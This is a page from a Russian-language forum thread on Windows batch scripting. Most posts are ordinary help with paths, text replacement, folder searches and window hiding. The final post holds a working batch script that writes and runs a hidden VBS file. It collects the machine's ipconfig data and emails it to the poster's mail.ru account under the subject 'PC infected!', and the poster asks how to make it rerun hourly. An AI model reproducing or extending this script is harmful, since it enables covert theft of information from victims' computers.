Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » Командная строка, батники, сценарии (bat, cmd)

Модерирует : gyra, Maz

Widok (03-03-2010 16:29): Лимит страниц. Продолжаем здесь.  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

   

Widok



Moderator-Следопыт
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Командная строка, батники\сценарии (bat, cmd)
(часть 1) (часть 2)
Вопросы, задачи и их решения по работе с командной строкой, файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Microsoft Windows » Задачи на bat-файлах 5
 
Полезные ссылки:
· Cmd. Описание от разработчиков
· Урок bat-аники (для начинающих)
· Курс лекций для начинающих. Полезно и просто описано
· Набор GNU утилит для win32
· Пакет утилит для организации интерфейса в bat-файлах
· Использование ansi.sys
· cmdow — изменение параметров и видимости дос-окна
· blat — отправка почты из консоли
· Справка по командам в виде Html
· Команды RunDll32
· Quick Batch File Compiler - Позволяет превратить ваш батник в независимое приложение
· Пример - получение и обработка списка пользователей
· Уильям Станек - Командная строка Microsoft Windows (вплоть до w2k3)
· Простой способ получать текущую дату всегда в одном формате (не зависит от языков и настроек)
· Переход из 32-битной версии cmd.exe в 64-битную

Всего записей: 24190 | Зарегистр. 07-04-2002 | Отправлено: 12:38 10-03-2009 | Исправлено: TechnicsKuzya, 13:54 27-12-2009
Rush

Уже за тридцать...
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Zakkazak

Цитата:
А может ли VBS перехватывать действия  
Сейчас поясню.. Твой скрипт не завершается, а продолжает наблюдать за Оффлайн-броузером. Если я нажимаю Alt+F4 (или  Закрыть), скрипт перехватывает и откладывает закрытие.

Так?  
Прога, правда, сперва закрывается, а потом файл возвращается на место, но, насколько я понял, это не принципиально. Главное - вернуть на место оригинальный WebDown.dat

Цитата:
Суть этого скрипта в том что, фильтрует WebDown.dat по опредеоенному критерию.  

Я это понял. Можно сделать, если надо, и запуск из комстроки с параметрами. Типа:
Код:
wscript "script.vbs" /sort:"Descr="
Ну и т.п.

Всего записей: 3551 | Зарегистр. 20-11-2003 | Отправлено: 13:40 14-04-2009
TruLander100

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
01MDM
Спасибо))) все работает на ура!!

Всего записей: 24 | Зарегистр. 22-03-2009 | Отправлено: 15:07 14-04-2009
Zakkazak



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Прога, правда, сперва закрывается, а потом файл возвращается на место, но, насколько я понял, это не принципиально. Главное - вернуть на место оригинальный WebDown.dat

Да, верно. Я ступил почему-то... Если вернуть оригинальный до закрытия, то он перезапишется отфильтрованным..

Цитата:
Так?  

Спасибо, скрипт работает исправно.

Всего записей: 995 | Зарегистр. 12-01-2005 | Отправлено: 17:37 14-04-2009
XXXXL



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Здравствуйте!
Помогите пожалуйста написать бат, который при запуске пишет в файл "dinfo.txt" полный путь к директории где он находится.
Спасибо!

Всего записей: 286 | Зарегистр. 16-05-2007 | Отправлено: 23:44 14-04-2009
Maza_Faka



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
XXXXL

Код:
 
Echo %CD%>dinfo.txt
 

Всего записей: 1420 | Зарегистр. 25-10-2006 | Отправлено: 08:06 15-04-2009
GGS



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
XXXXL
Maza_Faka

Код:
Echo %~dp0>dinfo.txt


Код:
Echo %~dp0>%~dp0\dinfo.txt


Всего записей: 1039 | Зарегистр. 25-03-2002 | Отправлено: 09:03 15-04-2009 | Исправлено: GGS, 09:06 15-04-2009
XXXXL



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Maza_Faka, GGS, Спасибо! оба примера работаю.

Всего записей: 286 | Зарегистр. 16-05-2007 | Отправлено: 14:04 15-04-2009 | Исправлено: XXXXL, 16:10 15-04-2009
GGS



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
XXXXL

Цитата:
Записываю директорию нахождения бат файла в dinfo.txt:  
 
Код:
Echo %CD%>dinfo.txt  

Эта команда записывает не "директорию нахождения бат файла", а путь текущего каталога.
Они совпадают в частном случае, если Вы запускаете ВАТ-файл находясь в этой же папке.
Почувствуйте разницу.

Всего записей: 1039 | Зарегистр. 25-03-2002 | Отправлено: 15:53 15-04-2009 | Исправлено: GGS, 16:09 15-04-2009
XXXXL



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
GGS извиняюсь, не правильно написал. Правильно так:
 
Записываю полный путь к той директории, в которой он находится.

Код:
Echo %CD%>dinfo.txt  

 
Потом пытаюсь прописать путь в 1.txt заменив там слово "directoire" на содержимое "dinfo.txt"  
 

Код:
Код:setlocal    
set "toChange=directoire"    
set /p changeTo=<"dinfo.txt"  
gsar -s%toChange% -r%changeTo% -o "1.txt"  

 
В результате получаю ошибку:  
gsar: command error, not a valid detimal number : \Re  
 
Он указывает на часть пути.  
Подскажите как быть?
 
P.S Что этот: Echo %~dp0>dinfo.txt и этот: Echo %CD%>dinfo.txt способы работают, разница только в том, что первый вариант записыват путь со слешом в конце а второй без.

Всего записей: 286 | Зарегистр. 16-05-2007 | Отправлено: 16:10 15-04-2009
GGS



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
XXXXL

Цитата:
извиняюсь, не правильно написал. Правильно так:  
 
Записываю полный путь к той директории, в которой он находится.  
 
Код:
Echo %CD%>dinfo.txt  

От перестановки слов суть не меняется. Опять неправильно.
 
Чтобы понять отличия запустите Ваш ВАТ-файл, находясь в папке отличной от той где находится этот файл.

Всего записей: 1039 | Зарегистр. 25-03-2002 | Отправлено: 17:12 15-04-2009
igor_andreev

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
XXXXL

Цитата:
В результате получаю ошибку:  
gsar: command error, not a valid detimal number : \Re

Запусти gsar без параметров и прочитай три последние строчки того, что он выдаст тебе на экран. Символ ":" надо удваивать.

Всего записей: 1705 | Зарегистр. 08-12-2004 | Отправлено: 17:23 15-04-2009
XXXXL



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Чтобы понять отличия запустите Ваш ВАТ-файл, находясь в папке отличной от той где находится этот файл.

Да, теперь я нашел отличия, очень удобно. Если я запускаю  его другим батником из другой папки, то он записывает путь не того который запускаю, а того которым запускаю.
 

Цитата:
Символ ":" надо удваивать.

Точно, теперь всё работает.
 
Большое всем спасибо!

Всего записей: 286 | Зарегистр. 16-05-2007 | Отправлено: 22:47 15-04-2009
D555



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

 Тревожит всё же важный вопрос,- а существует ли вариант команд батника для его запуска свёрнутым в панель задач ?
 
...просто надоедает пусть быстро, но выскакивающее окно... и если уж силами самого батника без стоонних утилит его не скрыть, - пусть уж хотя бы минимизированным выскакивало бы)

Всего записей: 375 | Зарегистр. 17-04-2003 | Отправлено: 07:53 16-04-2009
Maza_Faka



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
D555
HSTART; CMDOW

Всего записей: 1420 | Зарегистр. 25-10-2006 | Отправлено: 08:29 16-04-2009
guru431

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Помогите решить задачу:  
В корне диска "С:" есть некая папка, имя которой может быть любым. В этой папке находится другая папка, имя которой всегда одинаково - "Folder". В папке Folder всегда будет лежать файл с именем - "Files.txt".  
Вопрос: нужет батник, который найдет и удалит эту папку (имя которой неизвестно) со всем её содержимым.


Цитата:
@echo off  
for /d %%i in (C:\*) do (dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && rd /s /q "%%i")  
 

 
Как модифицировать этот код, чтобы неизвестная папка не удалялась, а вместо этого создавалась переменная с именем этой папки?

Всего записей: 66 | Зарегистр. 28-02-2007 | Отправлено: 09:43 16-04-2009
01MDM



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Помогите решить задачу:  
В корне диска "С:" есть некая папка, имя которой может быть любым. В этой папке находится другая папка, имя которой всегда одинаково - "Folder". В папке Folder всегда будет лежать файл с именем - "Files.txt".  
Вопрос: нужет батник, который найдет и удалит эту папку (имя которой неизвестно) со всем её содержимым.

 
Так известна папка или нет? Если имеется ввиду родительская папка для "Folder", то

Код:
 
@echo off
setlocal
 
for /d %%i in (*) do (
    dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)
echo %var%
 

Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 10:26 16-04-2009 | Исправлено: 01MDM, 10:38 16-04-2009
Ni9999



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Есть одна интересная задачка из разряда "сделать поудобнее".
Существует текстовый файлик (main.txt)в котором хранится общая часть, и существуют файлики (jab.cmd), в начале которого должна быть эта общая часть, и затем идет разнящаяся.
Так вот батничек должен каким-то образом вставлять в себя эту общую часть, и затем исполниться как буд-то эта общая часть изначально была в этом батнике.
Общая часть и сам батник хранится на шаре. Кодировка везде 1251.
Приемлемы все способы и заклинания :)

Всего записей: 141 | Зарегистр. 18-08-2008 | Отправлено: 10:52 16-04-2009
rosalin



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Ребята может кто сталкивался есть папка с файлами вида  
 
файлов несколько сотен тысяч  
 
pd50000000001.msg  
pd50000000002.msg  
pd50000000003.msg  
pd50000000004.msg  
pd50000000005.msg  
pd50000000006.msg  
pd50000000007.msg  
 
это почтовые сообщения подскажите скриптик который при запуске заархивирует файлы с разбивкой по месяцам , типа mm.yyyy  

----------

Всего записей: 2588 | Зарегистр. 15-04-2003 | Отправлено: 11:09 16-04-2009
guru431

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Так известна папка или нет? Если имеется ввиду родительская папка для "Folder", то  
 
Код:  
@echo off  
setlocal  
 
for /d %%i in (*) do (  
    dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"  
)  
echo %var%

 
Да, именно это. Спасибо!!! Только немного подправил для себя:
 
for /d %%i in (C:\*) do (
    dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)  
echo %var%  
 

Всего записей: 66 | Зарегистр. 28-02-2007 | Отправлено: 11:09 16-04-2009
blood150

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Хочу сильно попросить вас помоч: как сделать чтоб этот батник самозапускался через каждый час после первого нажатия на него?
 
@echo off
ipconfig /all > %systemroot%/system32/ip.txt
sleep 5
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "ВАША ПОЧТА", "ВАШ@mail.ru", "Kuzja", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ЛОГИН" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "пАРОЛЬ" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "C:\WINDOWS\system32\ip.txt" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs
 
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
 
ВОТ РЕБЯ ТА ОБОЛДЕННЫЙ БАТНИК:
ПРИ НАЖАТИИ НА НЕГО СОЗДАЁТСЯ ФАИЛ (IP.TXT) В ПАПКЕ ВИНДОВС В ФАЙЛЕ СОДЕРЖИТСЯ ИНФОРМАЦИЯ О КОМПЕ IP,ИМЯ И Т.П. И ЭТОТ ФАИЛ ОТСЫЛАЕТСЯ НА ВАШУ ПОЧТУ ЭТОТ ФАИЛ.  
ВАША ПОЧТА-ЗДЕСЬ НАПИШЕТЕ АДРЕС КУДА ПРИДЕТ ФАИЛ IP.TXT
ВАШ@mail.ru-ВЫ ДОЛЖНЫ СОЗДАТЬ ПОЧТУ НА mail.ru  
ЛОГИН-ВАШ КОТОРЫЙ НА mail.ru
пароль-ВАШ НА mail.ru
 

Всего записей: 1 | Зарегистр. 16-04-2009 | Отправлено: 11:22 16-04-2009
   

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

Компьютерный форум Ru.Board » Компьютеры » Программы » Командная строка, батники, сценарии (bat, cmd)
Widok (03-03-2010 16:29): Лимит страниц. Продолжаем здесь.


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru